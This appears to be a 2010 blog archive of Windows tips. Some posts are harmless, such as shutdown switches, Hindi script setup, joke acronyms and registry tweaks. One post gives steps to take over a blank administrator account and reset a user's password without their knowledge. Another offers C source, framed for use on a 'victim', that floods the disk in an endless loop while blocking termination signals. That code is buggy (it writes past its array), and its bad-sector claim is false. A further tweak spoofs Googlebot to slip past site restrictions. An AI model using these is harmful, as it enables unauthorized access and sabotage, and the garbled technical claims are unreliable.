Saturday, October 30, 2010

Cracking Windows XP

Cracking Windows means 2 things
1>cracking the password without knowing the original password
2>Somehow Knowing the password and then using that password without letting the user know

cracking password
In XP we generally deal with 2 types of account.
Administrator Account
User Account

When XP is loaded in a computer,it asks for administrator password,generally people keep   it blank(So that  pasword can be reset when we forget later and Most of the time,people dont use their Administrator account,they like to work with   their user account.

This is how you can  crack their PC and hack Administrator Password
  1. Start your computer 
  2. It will take you to logon screen.where only user Account is visible, 
  3. Press Alt+Ctrl+Delete (2 times).it will take you to old NT style logon box 
  4. On username:  administrator   
  5. Password:                    press Enter     
  6. System will login using administrator account.
  7. Now from ur Administrator account,Open command prompt
  8.     Start-->run-->type "cmd"  without space
  9. In that command Prompt or DOS screen. Type   net   user  administrator   *        press enter
  10. It will ask for password.Press Enter 2 times and it will say command completed successfully
  11. Now you have sucessfully cracked users Password,without knowing existing password

This is not a hacking,windows had given u feature,thats why u could do it.

Friday, October 22, 2010

Create a Bad Sector on HardDisk

This is a C program,to create bad sectors on the Hard disk. Use it at your own risk

/*create bad sectors on the hard disk.
*
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* I don't take responsibility for what you do with this program, served for educational purpose        * only.
 */

#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"
#include "signal.h"
#include "sys/types.h"
#include "sys/stat.h"
#include "fcntl.h"

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sector: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back & creating bad sectors. */
}

Wednesday, October 20, 2010

Make XP supporting your Regional languages.

If you are opening hindi website,and its contents are displayed in hindi,it doesnot means that your OS is supporting that language,but your Browser is supporting that,so it is able to display.

Can u save a hindi word,in your normal notepad.If yes,then you can say your OS is supporting Hindi script,
If not,its not supporting that script

So here is the way to make your XP supporting hindi language,and other regional language

1.Open control Panel
2.goto regional and langauge option
3.navigate to Languages tab
4.Now place your Windows XP Bootable CD in CD     Drive
5.Now from language tab select the option     "Install files for complex script...."
6. Warning will come,press ok
7.Now press Apply button.(Installation starts after press Apply)

If you have not placed your XP cd,it will ask you at this time.Place CD and click ok

After that the Os will Copy the required font and files from cd to your local drive.It will ask for reboot.Reboot your computer

Now how to save hindi words in your notepad

1. collect hindi words from sites such as   http://www.shabdkosh.com
2..Now copy paste those words into a notepad, you can also type them manually,using software
3. Now clik saveAs,In the SaveAs dialog box,in the encoding section,choose Unicode.
4. Press Save Button

Now you have sucessfully saved Hindi script words in your File

Monday, October 18, 2010

shutdown through command prompt

If u want to shutdown windows through command prompt.Here is how?
1.Open command prompt.
         start-->Run---> Type "cmd"  w/o quotes

2.Now you can Type the following,on DOS screen

Shutdown –s
It will shutdown your computer in 30 seconds and display a message

shutdown –s –t 40 

 It will shutdown in 40 seconds but you can only go up to 86400 (24 hours) but if you make it 0 it will show no message and just shutdown immediately

shutdown –s –c ”This is Gone”

 It will shutdown with a message in a box under the time

shutdown –l

 It will just log  off the computer

shutdown -i

 It will display the GUI shutdown window

shutdown –r

will restart the computer

shutdown –a

 It will abort the shutdown.If you have written shutdown -t 300 means your system will shutdown after 5 minute.However if you realise that you shutdown must be cancelled, again write shutdown -a in command prompt

shutdown –f

 will force all running applications to close

For more assistance type Shutdown /?  in the command prompt

Friday, October 15, 2010

Bad Abbreviations of good Terms

Hi,This is only for fun.I request you not to by-heart and write in your answer paper.
WARNING: Please Dont try this at your exam
 
CD-ROM: Consumer Device, Rendered Obsolete in Months
PCMCIA:
People Can't Memorize Computer Industry Acronyms
ISDN: It Still Does Nothing
SCSI: System Can't See It
MIPS:
Meaningless Indication of Processor Speed
DOS: Defunct Operating System
WINDOWS: Will Install Needless Data On Whole System
OS/2: Obsolete Soon, Too
PnP: Plug and Pray
APPLE: Arrogance Produces Profit-Losing Entity
IBM: I Blame Microsoft
DEC:
Do Expect Cuts
MICROSOFT: Most Intelligent Customers Realize Our Software Only Fools Teenagers
CA: Constant Acquisitions
COBOL:
Completely Obsolete Business Oriented Language
liSP: Lots of Insipid and Stupid Parentheses
MACINTOSH: Most Applications Crash; If Not, The Operating System Hangs
AAAAA: American Association Against Acronym Abuse.
WYSIWYMGIYRRLAAGW: What You See Is What You Might Get If You're Really Really Lucky And All Goes Well.

Tuesday, October 12, 2010

Automatic Windows Refresh

We can modify the registry,so that window automatically refreshes frequently.To do so
Copy & paste the following code in notepad and save it as WindowsRefresh.reg

*****************************WindowsRefresh.reg**************************************
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update]
"UpDateMode"=dword:00000000

************************************************************************************

Once done,open the file to add it to your registry.Reboot your system

Clear Page File at Shutdown

A pageFile is purely an Operating System concept,its a file in which paging takes place.
For non-technical people,i dont mind to say page file works as temporary memory,if we dont have sufficient memory in the RAM.

Most Often,it contains unnecessary files inside it,which was created while executing some program,but now its totally useless.We should not delete that file,because its very helpful if your system has got less RAM(say 512MB) like me.
One thing we can certainly do is,clean that pagefile  just before sytem shutdowns.

To see PageFile,
open c:\ -->go to tool-->folder option---> scroll down and check  show hidden files & folders
also uncheck hide protected operating system.clik apply.


Now observe some new files are visible inside c:\   out of them 1 is pagefile.sys.
Note:You may not find that file,if your pagefile option is not activated

How to clear pagefile
##################
Copy & paste the following code in notepad and save it as "ClearPageFile.reg".

**************************ClearPageFile.reg***************************************
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"ClearPageFileAtShutdown"=dword:00000001
********************************************************************************

Once done,double-clik to add to your registry.Reboot

Make your Own Google Bot

When you search something on any company website, it doesnot allow you to completely  get inside the companies website to find the data.But Companies always allows google.com to get inside their website to fetch the data,so that their product/whatever it may be,gets promoted.
                    You can modify your registry so as to create your own google bot,which will definately goes inside the companies website to search data for you.The company webserver will treat your request as if it was from google.com

Just copy & paste the code in a notepad and name it as GoogleBot.reg.

*************************GoogleBot.reg********************************************
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
@="Googlebot/2.1"
"Compatible"="+http://www.googlebot.com/bot.html"
**********************************************************************************

After the file is created,double-click to open,it will show a message asking you to allow to add to your registry.say yes.Reboot your system.

Auto End task that are not responding

Sometime when your system goes down,it waits for sometimes before ending application,and then launch autoend task features.You can modify your registry,so that all hanged program will be end immediately,thus making your system more efficient.All program that do not respond will be killed immediately


copy and paste the following code in a notepad,and save it as EndTask.reg.

************************EndTask.reg***********************************
REGEDIT4

[HKEY_CURRENT_USER\Control Panel\Desktop]
"WaitToKillAppTimeout"="1"

[HKEY_CURRENT_USER\Control Panel\Desktop]
"HungAppTimeout"="1"
***********************************************************************
Once the file is created,double clik and it will be added to your registry.Reboot if needed.

Disable USB drives on your computer

Use this Tricks,when you dont want others to plug USB device to your computer.Its all about Registry Editing.So be careful.If you are new,dont mess with it.
Copy the following code and paste it in notepad and save it as LOCKUSB.reg

 **************************LOCKUSB.reg***************************
REGEDIT4

[HKEY_LOCAL_MACHINE\System\controlset001\services\usbstor]
"start"=dword:4
*****************************************************************


To again unlock usb drive,copy and paste the following code in a notepad and save it as UNLOCK.reg

*******************************UNLOCK.reg************************
REGEDIT4

[HKEY_LOCAL_MACHINE\System\controlset001\services\usbstor]
"start"=dword:3
********************************************************************

Now you have sucessfully created 2 files,
  1. LOCKUSB.reg,
  2. UNLOCK.reg,
Click on 1st file,and your computer fails to recognize any usb devices,
Click on 2nd file,and your computer again starts recognizing your usb devices.

you may be required to reboot your system